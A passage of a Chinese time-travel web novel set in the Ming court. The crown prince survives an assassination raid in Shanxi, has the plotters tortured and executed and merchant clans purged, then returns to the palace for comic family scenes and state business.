“铜指挥使和护卫们正在抵挡。” 刘健急声道,“听声音,来敌不少,而且似乎颇有章法,不像是寻常盗匪。” “寻常盗匪?”朱佑棱摇头,“没有这么大的胆子,一而再再而三的刺杀孤。” 这时,房门被猛地撞开,两名浑身浴血,但眼神依旧锐利的东宫侍卫冲了进来,单膝跪地。 “殿下!有贼人强攻驿馆,人数约在数百人之重,凶悍异常,此时已经突破外围守备。铜指挥使正率众死战,命卑职等誓死护卫殿下安全。还请殿下速移驾内室,紧闭门户。” 话音刚落,就听见后院墙头传来‘刺啦’的瓦片碎裂声,和重物落地音,甚至其中还夹杂着几声惨叫。 显然已有贼人翻墙而入,与内院的护卫交上了手。 “保护殿下!” 两名侍卫立刻拔刀,挡在门口。刘健等人也慌忙将房内的桌椅推过去,试图堵住房门。 朱佑棱此时的心跳得如同擂鼓,但他并没有感觉到慌张。 朱佑棱走到窗边,透过窗纸的破洞向外望去。 月光下,只见院子里人影憧憧,刀光剑影闪烁不停。 东宫护卫虽然精锐,但人数明显少于来敌,且贼人似乎悍不畏死,攻势极为猛烈。 打斗中,不断有护卫中刀倒地,但立刻有同袍补上缺口,死死守住通往后进上房的通道。 铜钱的身影在人群中犹如战神,一柄腰刀舞得泼水不进,所过之处,贼人非死即伤,但他身上也已挂彩,血迹斑斑。 正在这时,小翠不知道从哪里骑马跑来,驿馆外更是传来嘹亮喊杀声和马蹄声! “太子殿下勿忧!平阳卫指挥使麾下,奉布政使司急令,前来护驾!逆贼受死!” 原来小翠早早察觉不对,跑去叫了驻扎在附近的平阳卫官兵。由于先是出现‘芦苇荡刺杀’‘滚石遇袭事件’,为了安全考量。孙铭严令各地加强警戒的军令。 白天的时候,小翠就发现恰好有巡逻队驻扎在驿馆的不远处。驿馆的厮杀声刚响起,小翠就快马前往平阳卫官兵的驻扎地,让他们火速赶来支援。 不然怎么称得上赶得巧,来得妙。 平阳卫官兵的加入,直接扭转战局。训练有素的卫所官兵弓弩齐发,立刻将混乱的贼人压制下去。 贼人其实不过乌合之众,只是仗着人数多,悍勇和突袭,才勉强压着侍卫们打,大量的官兵赶来,立马反过来被压着打。 “官兵来了!快跑啊!” “风紧!扯呼!” 贼人发一声喊,开始四散溃逃。 “想跑?给我杀!一个不留!” 铜钱浑身浴血,状若疯虎,岂容贼子从自己眼前逃走,立马挥刀狂追。平阳卫官兵也分头追杀、堵截。 战斗持续了不到半个时辰,便渐渐平息。 驿馆内外,尸横遍地,血腥气浓得化不开。来袭的数百贼人,尽数斩杀,只有少数几个趁夜色和地形熟悉逃脱。东宫护卫未有人阵亡,不过大多受伤。 厮杀平息后,朱佑棱在文官们的护卫下走出房门。而此时,驿馆内的灯火,已经重新点亮,但映照出的是一片狼藉和血色。 看着院子里横七竖八的尸体,受伤护卫的呻|吟,朱佑棱小脸紧绷着。 他并不认为自己的手段过于强硬狠辣,但偏偏 一次又一次的刺杀,哪里是惧怕他的强硬和狠辣,分明是欺他年龄小,手段过于软和。 “殿下,属下打扫尸体,发现他们有的尸体有刺青。”铜钱突然快步走来,连身上的几处伤都来不及包扎,就急切的说。“几百的匪徒,其中清查出十三具尸体左胸口处有灰狼刺青。” 闻言朱佑棱是意外又不意外! “灰狼刺青?”朱佑棱挺平静的道。“孤记得,关外的游牧民族,以狼作为图腾,很崇拜狼群?” 李太医被叫住清查尸体,此时也跑了过来。 “确切的说,共有15具尸体有刺青。”李太医脸色难看的道。 “看来不用仔细追查了,有人勾结关外鞑子,欲将太子殿下永远的留在晋地。太子殿下,不若返京,留东西两厂的厂公联合锦衣卫,将晋地再次血洗一遍!” 铜钱杀气腾腾的道,李太医有些不忍的闭了闭眼,到底没有开口劝说铜钱不要杀心过重。 “奸细的确要清!”朱佑棱想想,反倒态度温和的说。“想必左右不过那些晋商里应外合的勾搭。” 谁让朱佑棱较真,甚多事情都要一查到底呢! “关外的鞑子也不能放过。”朱佑棱皱眉,又道。“孤怀疑,孤奉旨来到晋地巡视河工,关外鞑子得到消息后,大概派了不少的青壮,通过晋商的帮忙,化整为零的潜伏进了晋地,伺机而动。” “他们在暗,我们在明,挺不好查的。不过孤相信,只要血腥手段,不怕糟蹋‘仁德’的名声,不管他们藏在哪里,都能够找出来的。” 可找出来之后呢?左右不过杀头车裂的罪责。 朱佑棱心中还是不爽,干脆就点明道。“通知辽东守备,今年关外务必坚壁清野,让关外鞑子抢不到一颗粮食过冬。”—— 作者有话说:更新o(* ̄︶ ̄*)o 今天太早就犯困了! 大家晚安,不要太过熬夜哦! (づ ̄3 ̄)づ╭~ 第87章 第087章 “可是太子殿下.…… “可是太子殿下”李太医迟疑的插言。“如此做, 会令关外鞑子疯狂的!” 朱佑棱:“要的就是他们的疯狂。”??? “每逢天寒地冻草枯马瘦时节,塞外的游牧民族就会南下打草谷。”朱佑棱冷声的道。“什么是打草谷,相信孤不用解释你们都清楚。” 打草谷只是文雅的说法,事实上就是游牧民族因为气候原因, 导致牛羊大面积死亡, 没有足够食物度过寒冷冬季, 从而采取‘转嫁’的方式, 南下掠夺。 那是血腥无比的惨剧, 在南下入侵打草谷的游牧民族眼中, 人已经不能称之为人了, 而是两脚羊。 老人孩子妇女, 都有单独的称呼。老者谓之‘饶把火’, 妇人少艾者名为‘不羡羊’,小儿呼为‘和骨烂’。 朱佑棱是幸运的,毕竟一穿越就成了朱见深和万贞儿的儿子,身份尊贵,此后人生更是顺风顺水就能达到巅峰。 如果穿越到了乱世, 比如‘五胡乱华’时代, 就婴儿少童的身份,大概就是‘一锅炖’的下场。 朱佑棱了解那段历史,也只是从书面上了解罢了。华夏人一直以来都有个习惯, 那就是将自己的失败大书特书,反倒是成功, 都是一笔带过,最多寥寥数语。 可单凭文字描述,很难真实领会那段至黑无光的沉痛历史,但并不妨碍朱佑棱通过它们来揣测塞外的鞑子, 一二再而三的要至他于死地的目的。 无非便是他出色,不想在出了超越‘大明战神’朱祁镇的朱见深,再来一位更加超越‘大明战神’朱祁镇,向真·大明战神‘草原慈父’李文忠靠拢的未来国君现任储君。 所谓出名要趁早,针对敌人也要趁早。最好在敌人羽翼未丰的时候,就把敌人给嘎了。 朱佑棱很能理解这样的想法,因为他就是这样想的。等他能够真正意义能掌权,他会率领大明将士,先将倭国给灭了,然后东南亚非洲欧罗巴,挨个轮一遍,真正做到凡太阳升起的地方,都该插上大明的旗帜。 想想看,朱祁镇那么作,不也没有将大明的国柞作得崩坏彻底嘛。 所以还真能理解理解个屁! 朱佑棱差点直接暴粗口。 “孤锱铢必较,睚眦必报。”朱佑棱冷笑道,“这几年气候骤冷忽热,端是变化无常,听说去年关外牧民养殖的牛羊,就出现大面积死亡的情况。究其原因,便是气温突降,牧民来不及为大批量养殖的牛羊提供保暖措施,这才导致牛羊大量冻死。而今年” “诸位,你们觉得今年的年景是好,还是坏呢!” 大家纷纷摇头,李太医更是说。“中原腹地气候差,关外气候只会更差。纵观历史,每逢出现‘打草谷’的情况,都是关塞外的游牧民族,活不下去的时候。” 朱佑棱点头。“孤想说的便是如此。今年年景不好,中原腹地尚且干旱少雨,难道关外的气候就能变得很好。” “让辽东各关卡卫所的将士好好准备,今年秋末冬初,鞑子要是敢扰边关,就让他们一个个有去无回。” “殿下,那你”刘建这时候言辞恳切的说。“容微臣说句不好听的话,您现在留在晋地的意义已经不大了。” 朱佑棱:“孤会回去的。” “之后的事情,就拜托诸位了。”朱佑棱认真思索过,现在的他继续留在山西地界儿,的确意义不大。 但让朱佑棱就这么‘灰溜溜’的回去,又实在心有不甘。好在朱佑棱思索没一会儿,出去追捕逃跑贼寇的锦衣卫回来了。说是抓到贼首数人,正准备审讯。 “孤要旁听。”朱佑棱正色道。随即就和随从前往审讯匪寇的地方。 几个匪首都被五花大绑。他们浑身是血、兀自骂骂咧咧。看到朱佑棱的到来,为首的一人满脸横肉,目露凶光。 “你是何人?受何人指使,竟敢夜袭驿馆,行刺当朝太子。” 刘健厉声喝问。 那贼首啐了一口带血的唾沫,狞笑道。“呸!爷爷行不更名坐不改姓,洪洞县赵天霸!指使?无人指使!爷爷看这驿馆里住的定是肥羊,想来捞一票!谁知撞上了硬茬子,算爷爷倒霉!要杀要剐,悉听尊便!” “赵天霸?”朱佑棱迟疑,看向负责审讯上酷刑的锦衣卫。 锦衣卫闻言,直接狠狠的抽了赵天霸几鞭子,抽得他皮开肉绽后,锦衣卫才对朱佑棱说起赵天霸这个人。 却原来,这赵天霸算是地方豪强,强占河滩,欺压乡里、与县衙胥吏更是勾结颇深。 “家里做生意的?做什么生意?”朱佑棱慢悠悠的问,好像并不期待赵天霸能够回答。 的确,赵天霸没有回答朱佑棱的询问。他甚至翻着白眼,一副桀骜不驯的样儿。 回答朱佑棱的一位百户。 他道:“回禀太子爷,赵家是做粮食生意的。” “粮商?”朱佑棱若有所悟。“往关外跑倒腾粮食的粮商?这么嚣张,看来平日里没少卖朝廷命令禁止的东西啊!” 朱佑棱冷笑,“来人,给孤宣读赵天霸的罪责。” 铜钱这时候亲自拿过花名册,找出有关赵天霸的信息,开始朗读。 “赵天霸,你强占洪洞县南河滩三百亩良田,私自筑坝,阻碍官定泄洪渠修建,逼死佃户,贿赂县衙工房、刑房胥吏,为其充当保护伞。太子殿下下令清查地方吏治,就便狗急跳墙,集结亡命之徒,夜袭驿馆,欲置太子殿下于死地。本官现在只想问你一句,那亡命之徒中的十五名外族人,你是知还是不知他们的身份。” 赵天霸闻言,脸色微微一变,但随即强横道:“是又如何?那河滩本就是无主之地!县衙的老爷们都收了钱,太子你这小娃娃多管什么闲事。坏了爷爷的好事,爷爷就要你的命。” “放肆!” 铜钱一脚将赵天霸踹翻在地,刀已架在其脖子上。“本官是问你,知还是不知那15人的身份。你不要左右言他,试图蒙混过关。” “呵!狗官。” 朱佑棱不怒反笑,只是那笑容冷得让人心寒。 “洪洞县知县来了没?”朱佑棱转而问。 “已经打发人去‘请’了,想必再等一会儿,就该来了。” 朱佑棱示意属下给他端张椅子来,他好坐着等。 过了一会儿,洪洞县知县被‘请’了过来。 洪洞县知县打着哆嗦,早已吓得魂不附体。 “下……下官在!” 洪洞县知县噗通跪倒。“不知太子殿下深夜召唤属下,所为何事。” ——得!又是一个准备明知故问的家伙! 朱佑棱笑笑,随即开口道。“你治下有此等横行乡里,霸占河产,贿赂官吏、乃至刺杀储君的巨恶,你可知情?” “下官……下官失察!下官有罪!” 知县磕头如捣蒜。 “失察?” 朱佑棱冷哼一声,“恐怕不止是失察吧?赵天霸能如此嚣张,若无官府中人庇护,岂能成事?白日里孤命御史调查,当晚他便能集结数百亡命之徒准确袭营,若无内应通风报信,岂能如此迅捷。” 洪洞县知县直接回答不出来,整个婶子都瘫软的倒在地上。 “将洪洞县工房、刑房一应经承、书吏,全部锁拿!分开严审。赵天霸及其同党,就地严刑拷问,务必揪出所有涉案官吏及背后指使!” “遵命!” 锦衣卫顿时行动,一时间,驿馆内哭嚎求饶声响成一片。锦衣卫的酷刑,可不是谁都能撑过一晚上的,只不过用时几个时辰,一道道口供就被撬了出来。 赵天霸他的确是因为朱佑棱每到一个地方,就大肆整顿吏治,害怕他强占河滩、贿赂官员之事暴露的情况下,决定鋌而走险。 而那15名左胸口处有‘狼图腾’纹身的人,的确乃至关外,却不是蒙古人或女真人,而是西迁的瓦剌人。 瓦剌在土木堡之变后逐渐西迁,后期分化出清初才兴起的准噶尔部。 在明朝中后期,北方一般是瓦剌与鞑靼、明朝形成三方制衡。至于女真,真正发迹兴起是在一百多年后。 现在的女真,一般分为建州女真,海西女真以及野人女真。建州女真,便是努尔哈赤那一脉了。 朱见深刚刚当上皇帝没几年,杀的那董山,便是努尔哈赤的祖宗。如今建州女真沉寂,不敢随意的冒头。 海西女真居于松花江流域(今吉林中部),分为扈伦四部(叶赫、哈达、乌拉、辉发),后期被努尔哈赤兼并。 现在呢,比较活跃,不过对明嗯,表面上来看挺忠心耿耿的。 至于野人女真,分布于黑龙江流域及库页岛,与明朝联系较少,部分归附奴儿干都司。 老实讲,那15名外乡人,居然是西迁的瓦剌人,挺出乎朱佑棱的意料。本来朱佑棱还觉得女真的可能性大点。毕竟目前北方关外的游牧民族,就这么几个。 不是他,就是他,左右都逃不过野心勃勃,亡大明之心不死的念头—— 作者有话说:更新o(* ̄︶ ̄*)o 第88章 第088章 朱佑棱挺惋惜的!…… 朱佑棱挺惋惜的! 不过话说回来, 只要朱佑棱想,就没什么牵扯不上的。 不是关外的鞑子,也是关外的鞑子! 他是‘刺杀事件’的受害者,也是堂堂一国储君, 难道不该指哪打哪? 抱着这样的念头, 朱佑棱将审讯空间让给铜钱他们, 先去休息。等一觉睡醒后, 再来看审讯的结果。 是的, 再来看审讯结果!只要审讯结果, 不令朱佑棱满意, 那么就要继续审讯! 至于其他的, 嗯, 详细的就不用说了,懂的都懂!朱佑棱到底想要怎样的审讯结果! 朱佑棱很快就在吃早餐的时候,等来了自己想要的审讯结果。 “这就对了!”朱佑棱笑着道。“按照赵天霸的供词,整个洪洞县的官员,无论大小都不必留了。” “孤即刻下令, 铜钱你们直接按照花名册抄家!”说到这儿, 朱佑棱突然想起一件事儿,又道。“对了,孤看过供词, 说是洪洞县境内有处铁矿,被乔家、赵家同时所得。乔家、赵家给孤重点照顾, 务必将他们两家的每一处地方,都给孤仔仔细细的搜查,连一只飞过的苍蝇,都不许给孤放过。” “诺!” 铜钱领着锦衣卫, 开始在洪洞县大肆活动。每每行事,都是按照朱佑棱的吩咐来。整个洪洞县的官吏无一例外,全都进了大牢,没等几天,他们的家眷也全都进来陪他们。 另外被朱佑棱点名的乔家、赵家 赵家就先别说了,至于乔家,洪洞县的乔家只是分支而已。乔家的主家可不简单,可是满清入关的头号功臣。 满清入关后,可是封了乔家为皇商,位列满清四大晋商之首。主要经营产业为,票号(金融)、茶叶、皮毛、盐业等 当然这只是明面上,暗地里嘛,反正就朱佑棱那‘缺乏常识’的脑子里,可是清清楚楚的记得,乔家私底下走私盐铁矿。 一般从长江流域以及京杭运河沿线采购物资,然后北至北至蒙古、俄罗斯,西至中亚 这些都是乔家的活动范围。 南货北卖,从来都是暴利行业。更何况将中原的东西,贩卖至关外。晋地的很多商人,都是这样发家的。只不过乔家和其他三家晋家更加突出而已。 单单是从洪洞县的乔家支脉,就查抄了无数的金银珠宝,以及和关外鞑子的联络书信,这下不用‘伪造’直接就可以定下通敌卖国之罪。 朱佑棱没有丝毫犹豫的下令整个山西境内的乔家,都给查抄一遍。至于清初时和乔家一块儿被封为皇商的常家、曹家、渠家。 结果也挺喜然,果然和后世一样,超级赚钱的行当儿都写在刑法里。 所谓的晋地四大家族,之所以会有如此身家,绝大部分都靠走私。 寻常的走私,比如说茶叶盐什么的,其实也就抄家。可一旦涉及铁矿产以及可以炼制铁器的工匠走私,那就是妥妥的资敌卖国。死一万次都不足惜。 “居然还走私人口”朱佑棱冷笑。“这可真是不查不知道,一查吓一跳啊,辱宗忘祖牲口,怕是忘了自己是汉人,满心希望成为鞑子的狗。” “殿下,这走私到塞外的青壮,大多以能工巧匠为主。”刘建皱着眉头道。“是以仆人的身份跟着出关入大漠的。” 朱佑棱:“你的意思是说,他们之中有部分是自愿的?” 刘建:“这样的可能性很大。” “即使这样的可能性再大,也是最。”朱佑棱冷声道。“刘卿可记得关于昆仑奴的记载?” 刘建点头。 “既然记得,那该知晓昆仑奴从身毒国贩卖到大唐时,都是被阉割过的。”朱佑棱转而道。“你觉得乔家走私人口,会像昆仑奴将其阉割吗?” 刘建:“怕是不会。” “那就对了。” 朱佑棱坐回太师椅,神色莫名。“你信不信,被卖去关外的青壮汉人,他们的日子会很好过。最起码比得过每逢打草谷时,南下掠夺回的奴隶待遇好。” “微臣自然是信的。” “没有必要留情。”朱佑棱又道。“按照孤说了,乔家的主事人全部杀了。至于其他,流放至安南郡吧。辽东别想,他们乔家惯常跑关外,流放辽东,说不得会让他们离他们心目中的‘快乐老家’更近。” 流放辽东?给他们东山再起的机会? 他可没那么蠢! 朱佑棱心中冷哼,转而又道。“等洪洞县的官吏都走马上任后,孤就该摆驾回京了。” 洪洞县的官吏从上到下,全都被撸了个遍,可以说连差役都没有留下。 吏部那边,这段时间来简直忙得飞起,往往刚委派了山西某个县的县令,而且委派的官吏还没有出发呢,朱由棱又把某某地的官吏当成牛皮癣给连根铲了,急需委派接任的官吏的消息,就八百里加急来了。 吏部还能怎么着,直接三班倒,整个衙门,晚上都有人加班加点的干活。 好不容易喘息了吧! 嘿,又来! 嘿嘿,又又来! 现在的吏部官员,几乎个个熊猫眼,严重睡眠不足。估计朱佑棱再再再来一次八百里加急,吏部官员们个个都要呜呼哀哉,跪地磕头求放过。 但能者多劳嘛!即便朱佑棱知晓了,也不会幸灾乐祸的,最多在测试出他们抗压力的底线后,再多派遣点任务。 按照时间揣测,大概还有三日左右,吏部派来洪洞县接任县令一职的某某年进士就会来。 也就是说,朱佑棱大概还会在洪洞县待上三日。而在三日内,其实也是可以发生很多事情的。 “对了,这县令是中枢朝廷直接委派,那县丞,主薄呢?” “县丞、主薄在秀才中选。”刘建回答。“一般来讲,一地县令走马上任后,在他手下做事的县丞、主薄等官吏,要吗是县令平日里用惯的人手,要吗就在当地重新招募” “懂了,也就是说至少要秀才的功名?”朱佑棱点头,“倒也不错,只是这洪洞县好像出名的几个秀才,都姓乔吧。说到这儿,孤挺疑惑的,这商贾之后有资格考取功名?” “的确有资格。”刘建又道。“只是以后大概乔家五代以内,不可科举。” “乔家本来就是商贾,考什么科举啊。”朱佑棱眯眼笑了笑。“他们流放到安南郡,还能有机会起复,孤才真正佩服。” 就安南郡的地理环境,除非能和喜欢背刺的马喽搭上线,不然不只是这辈子,大概下辈子都无法‘重回’他们的鞑子主子身边当狗了。 其实朱佑棱遭遇三次的刺杀,都和外族探子脱不了关系。但目前来讲,唯一的证据,就是有15名西迁的瓦刺人伏诛。 但平心而论,肯定不止瓦刺。应该说整个北方的游牧民族都有嫌疑。 朱佑棱一向不太讲究证据,反正证据不全的时候,那么所有怀疑对象,都是幕后凶手。 如此一来,嘿,是不是案情清晰明了,证据确凿。 深深这么觉得的朱佑棱,甚至还挺有‘闲情逸致’的围观了菜市口凌迟处死赵天霸等人的一幕。 是的,赵天霸以及整个洪洞县的官吏处以极刑,从犯斩首。 当日午时血光冲天,惨叫震野。被‘强迫’来围观,平日里横行乡里的豪强恶霸,噤若寒蝉,再不敢有丝毫异动。 朱佑棱全程保持着冷静,但面无表情,心中没有丝毫快意,只有沉重。 杀赵天霸,处理几个胥吏,其实只是治标而已。现在还只是大明中期呢,吏治腐败就达到了这种程度。要是到了后期 整个大明都吏治腐败外加土地兼并,豪强横行,还有那变化无常的小冰川时代的降临,老百姓还有活路? 想到那段至黑历史,朱佑棱沉重之余,忍不住心都在打颤儿。 不过话说回来,现在说这些还早了一点儿,现在他该做的便是,学会用最严厉、最迅捷的手段,震慑宵小,树立他身为储君的威严。如此一来,也方便回京之后,对官场的深入整顿,更加的得心应手。 很快,三日过去,吏部委派的洪洞县知县到来。不出意外,县丞、主薄等小吏,是新任知县带来的。 都是秀才出身,倒也符合规矩! 朱佑棱瞄了一眼,没有多说什么,连告诫的话语都懒得提。主要没什么好说的,而且只要不是蠢的,就该明白接任洪洞县知县这几年,主要安分守己,不然会成为下一个‘杀鸡儆猴’的‘鸡’。 很快,行撵车队开始打出回程的旗帜,朱佑棱这回是真的准备离开山西,回到京城。至于原本打算接山西巡视的陕西 由朱见深委派的钦差大臣执行。这位钦差大臣,算是御史台大夫中比较耿直且有能力的官员。在朱佑棱已经打下了牢牢基础的情况下,巡视陕西水利工程,可以说相当的顺利。 这位钦差大臣,他也罢免了不少人,但是吧,绝对没有朱佑棱像铲牛皮癣似的力度大—— 作者有话说:痛经真恼火,感觉我的两段身体直接分开了! 都开始吃止疼药了! [笑哭][笑哭][笑哭] 第89章 第089章 朱佑棱返京一路顺…… 朱佑棱返京一路顺风, 不止没有遭遇截杀,就连暴雨连绵后可怜出现的泥石流堵塞道路的事儿,都没有遇到。 朱佑棱还挺遗憾,但坚决反对, 这是老天爷在欢送他这小屠夫回京。 只觉得悻悻然, 心情并不好受, 等回了京城回了紫禁城, 见到亲亲的美人娘亲, 妈宝属性发作的朱佑棱‘嗷’的一声哭了出来。 万贞儿顿时紧张万分, “可是受伤了?铜钱怎么保护你的?” 赶紧上前, 左左右右上上下下仔仔细细的查看一番。没有察觉出丝毫的问题, 甚至朱佑棱身上穿的, 也是进宫的前一刻,在马车上换的。也就是说,中间没有任何停留,进京后就直接进了宫。 “没事。儿子没事,就是想娘亲了。” 朱佑棱抽抽搭搭, 一点难为情的意思都没有。要不是朱见深在旁虎视眈眈, 说不得朱佑棱还会赖在万贞儿的怀中,不愿意离开。 “你就只想娘亲?”朱见深在旁咳嗽,表示朱佑棱够了, 该和他打招呼了。 朱佑棱:“父皇,儿子想娘亲了, 如果父皇原因,也可以像儿子这样,找亲娘安慰。” 意思是说,想撒娇, 各找各妈,别嫉妒儿子和亲娘的互动。万贞儿是朱见深的爱人,还是朱佑棱的亲娘呢! 朱见深:“” “山西地界儿,托你这混小子的福,如今啊,从上到下的官员全给换了一遍。” “换了不好?”朱佑棱反问。“既然敢欺上瞒下,那必然都是一丘之貉。如果不换得彻彻底底,谁知道他们会不会心存侥幸,觉得无论如何,都不会处罚他,进而更加的变本加厉。” 朱见深闻言,吁叹一声,语气满复杂的道。“朕难道不知这个道理。只是鹤归如此做,名声怕是” “儿子现在的名声就很好?”朱佑棱反问。“儿子的名声,一直以来都挺不好的。什么‘抄家太子’性格暴戾,以后怕是个暴君!” 朱佑棱双手一摊,表示就连他祖父朱祁镇这样骚操作不断的家伙,都能谥号英宗,他就只能成为暴君 暴他喵的暴! 这样说他,他残酷冷血的一面,还真就不改了。他会让叽叽歪歪说他的人明白,什么是真正的暴君。 但心情依然不是很爽! 朱佑棱瘪瘪嘴,开始抱怨。“儿子如何,父皇难道不知?” 朱见深:“” 注意到万贞儿的脸色已经不好看了,唯恐万贞儿为了儿子和他翻脸,朱见深赶紧开口。 “行行行,朕知道了。”朱见深正色道。“以后做事情,仔细一点。” 还想继续说教,被万贞儿不高兴的打断。 “沈浪这话说得,鹤归还要怎么仔细?”万贞儿不悦的道。“是那等不要脸的货色卖国求荣,伙同一起谋害储君。深郎,你不止是国君,还是鹤归的父皇。这次忍了,绝对还会有下次。妾身一大把年龄了,才有鹤归这么个儿子,要是鹤归有什么事,这不是直接要了妾身的命,又是什么。” 朱见深:“贞姐放心,朕会下令命辽东各关塞的将士,尽最大的努力的扫荡塞外,坚壁清野,让鞑子一颗粮食都找不到。” “父皇还是挺有军事才能得嘛!”朱佑棱大方的夸赞,还表示自己就是这样想的。 朱见深并不喜欢朱佑棱没大没小的话语,不过目前嘛,还是好好的维持父慈子孝吧! 朱见深暗中为自己拘一把同情的泪水。 又道。“不管如何,鹤归劳累一番,既然回来,就该好好的休息。只是鹤归大了,该考虑搬去东宫居住了。” 万贞儿:“” “好的!” 朱佑棱倒是干干脆脆的同意,反正即便搬去东宫居住,每天白日他还是会来安喜宫报道,只是晚上不住在安喜宫而已,换个宫殿居住而已,哪怕是妈宝男,朱有棱也万万没有和万贞儿同吃同住的想法。 “今儿为娘让小厨房的安排了鹤归爱吃的菜。”万贞儿万分慈爱的拉着朱佑棱,眉眼柔和的道。“你这一去就是好几个月,为娘每日在宫中提心吊胆,自从你遇刺的消息传回来,为娘就食不下咽,恨不得不管不顾的直接招你回来。” “如今鹤归回来了。按理说为娘心该平稳了,可为娘心依然不安极了。” 说到这儿,万贞儿脸色勃然一变,又道。“伤害鹤归的,都罪该万死。” 朱见深并没有觉得万贞儿此刻的狠戾有什么问题。 如果不是克制,事实上朱见深第一时间,就会调拨军队前往剿灭判匪。 现在能稳坐,也不过是因为知晓朱佑棱的的确确无大碍,这次没有像万贞儿那般,感情外露。 很快,万贞儿好不容易述说完自己的担忧害怕,这时候万珍儿才注意到摆膳的问题。 “开摆膳,鹤归一路奔波,想必是饿了!” 朱佑棱点头,刚想说父皇其实也是一样饿了的时候,怀恩公公匆匆忙的过来,说是安南郡挨着的小国叛乱,吉王朱见浚快马来信询问安南郡是出兵呢还是出兵。 朱见深:“” “鹤归,你且去,等朕陪着贞儿用完膳后,再来一起商议国事。” 万贞儿:“” 朱佑棱:亲爹,妥妥的亲爹!难道除了坑崽外,已经没有另外的方式来表达父爱了? 无可奈何的朱佑棱还能怎么着,只能乘坐撵车前往乾清宫。自然的,朱佑棱在乘坐撵车途中,用了一碟的糕点。 其实打这个问题,已经成定局了。讨论的话,也是讨论如何打,怎么打! 关外那边成三角鼎立之式,但对付安南郡周边的小卡拉米,大明将士完全没有问题。 即便中枢朝廷不出兵,安南郡那边出兵,都能碾压,实现一边倒的胜利。 “既然打,那就打得漂漂亮亮。” 朱佑棱态度强硬的道。“告诉七皇叔,尽管打,出了什么问题都有父皇兜着。” 六部大臣们:“” “的确该打,该打得漂漂亮亮!”兵部尚书白圭开口道。 “粮草方面”户部尚书有些迟疑的说,立马被其他大臣打断。 工部尚书:“刘大人(刘吉),你提粮草,是否是看不清安南郡年年丰收的情况。” 朱佑棱点头:“的确,安南郡那边开垦的皇庄农田,年年丰收。单单去年,就为大明粮仓提供了一省的口粮。今年开春,七皇叔就曾写信说,打算今年再开垦万顷良田,到时候直接提供数个省份的口粮。安南郡派兵帮助他国平息动乱,还要中枢朝廷出粮,才是真真正正的看不起七皇叔的能干。” “既如此,那就请太子殿下下令,命安南郡郡守择优自行处置。” 朱佑棱颔首,倒是直接吩咐怀恩公公拟旨,等怀恩公公写完,看了一遍后觉得没有问题,就盖上私人印章以及代表太子身份的印章,又拿了玉玺,也盖了一下,才算搞定圣旨。 “即刻送往安南郡交给七皇叔。”朱佑棱吩咐怀恩公公安排人送圣旨。 怀恩公公领命,很快就吩咐了下去。这时候朱佑棱伸了伸懒腰,刚想说什么的时候,几位大臣腹响如雷。 朱佑棱愣了愣,就道。“想必是饿了,快传膳,大人们都是父皇的骨肋之臣,可饿不得。” 膳食从御膳房那儿送来,速度还挺快。究其原因,是御膳房一直将御膳温着,几乎又都是炖菜煮菜,很少有小炒。因此送来的御膳都是热的。其中养生的粥水,就有五道之多。 陪着大臣们用了一顿御膳,等残羹剩肴一撤,朱佑棱问了时间,知晓朱见深大概是不会过来了。 也不失落,又和大臣们说了几句话,这才结束了今日份的‘加班’! 朱见深那老登儿,已经在安喜宫宿下。用他的话来说,深宝宝要睡觉,需要贞姐姐陪! 朱佑棱抖掉一身的鸡皮疙瘩,转而安排人开始打扫东宫,准备择日就搬进去。 东宫位于紫禁城东南部,即文华殿建筑群及周边区域。 主殿为文华殿,是太子日常办公、讲学之所,殿前设文华门,殿后为主敬殿。 寝宫则挂着慈庆宫(后又改端本宫)的牌子,位于文华殿北,与后宫区域以巷道分隔。 总体来讲,东宫的占地面积还是不错的。只是空置多年,尚需要好好整理一番。 从朱见深开始,东宫就没怎么住人,毕竟朱见深被废后又被重立。被废的时候没有资格住东宫,重立太子后又不想住东宫,再加之朱佑棱现如今十三岁才搬进来住,东宫不是空置多年又是什么。 总之朱佑棱要搬去东宫独自居住,不是现在,而是等东宫修整好了后,也就是说朱佑棱还要在安喜宫多住一段时间。 一想到这点,朱佑棱就特别高兴的去问老登儿,对此高不高兴,意外不意外! 朱见深:“”—— 作者有话说:更新o(* ̄︶ ̄*)o 第90章 第090章 朱见深很不高兴!…… 朱见深很不高兴!不只是朱佑棱喜欢称呼他为老登儿, 更多的是,熊孩子不懂事,老喜欢打扰他和贞姐的相处。 “朕高兴”朱见深几乎咬牙切齿的说。“为了庆祝朕高兴,朕会吩咐内务府, 尽快将东宫修整出来。” 朱佑棱很大方的挥手, 表示自己督促就成, 不用朱见深辛苦。 “父皇是皇帝。”朱佑棱强调。“作为皇帝, 该关注政务才对。” 朱见深:“” “作为朕的继承人, 鹤归, 你该处处帮朕处理才对。” “可是父皇这样子会养大你的疑心, 儿子不喜欢父子失和, 所以父皇, 你还是能者多劳吧!” 闻言觉得心梗的朱见深作势要揍朱佑棱,朱佑棱灵巧的闪躲,一点都不像小胖子所能拥有的速度。倒是朱见深,接连几个高难度动作,啧, 直接差点把腰闪了。 朱见深:“” “噗!” 朱佑棱捂住嘴巴, 快速收敛笑意,表示自己没有笑,刚才的笑, 纯粹就是错觉。 “你这臭小子!” 朱见深气得跳脚,整个人显得格外的活泼。 万贞儿没在, 这时候在慈安宫收拾,周太后在朱见泽那儿住了几年,总算想起她还有个做皇帝的儿子,突然性母爱大发, 决定回来看看皇帝儿子。 慈安宫已经好几年没人了,周太后要回来,自然得收拾。 大概半个小时后吧,万贞儿才翩然回安喜宫。回来后得知亲亲郎君又和心肝宝贝儿子对上,只眨眨眼,询问晚膳想吃点什么。 朱佑棱还未回答,朱见深就‘哇’的一声哭起来。 “贞姐,你不爱朕了。” 朱佑棱:“幼稚!” “瞧你这话说的,他是你父皇” 万贞儿哭笑不得的白了朱佑棱一眼,赶紧去哄人越大就越显得幼稚,尤其在儿子面前幼稚的朱见深。 真的越来越喜欢撒娇! 朱佑棱摸摸小肚腩,他就说嘛,外边吃好睡好却瘦,那是忙的事儿太多,可在宫里,他是正餐吃了,还总在不经意间狂吃狗粮。 这么多年过去还是这样,他人不胖,那才奇了怪! 朱佑棱感叹,随即立马跑了。 之后一直待在自己住的侧殿,非必要才出来。至于什么非必要,嗨,到饭点该吃晚膳了。 等吃了晚膳,朱佑棱早早的去休息!第二天就该上早朝,不过这回朱佑棱没有去,而是调整自己的作息。大概休息了三日,朱佑棱才恢复了自己身为太子该履行的责任,开始协助朱见深处理政务、 实际上说是协助,其实该朱见深处理的大部分政务,都移交到了朱佑棱手中。 这是朱见深提议,经过内阁大臣们一直同意的。 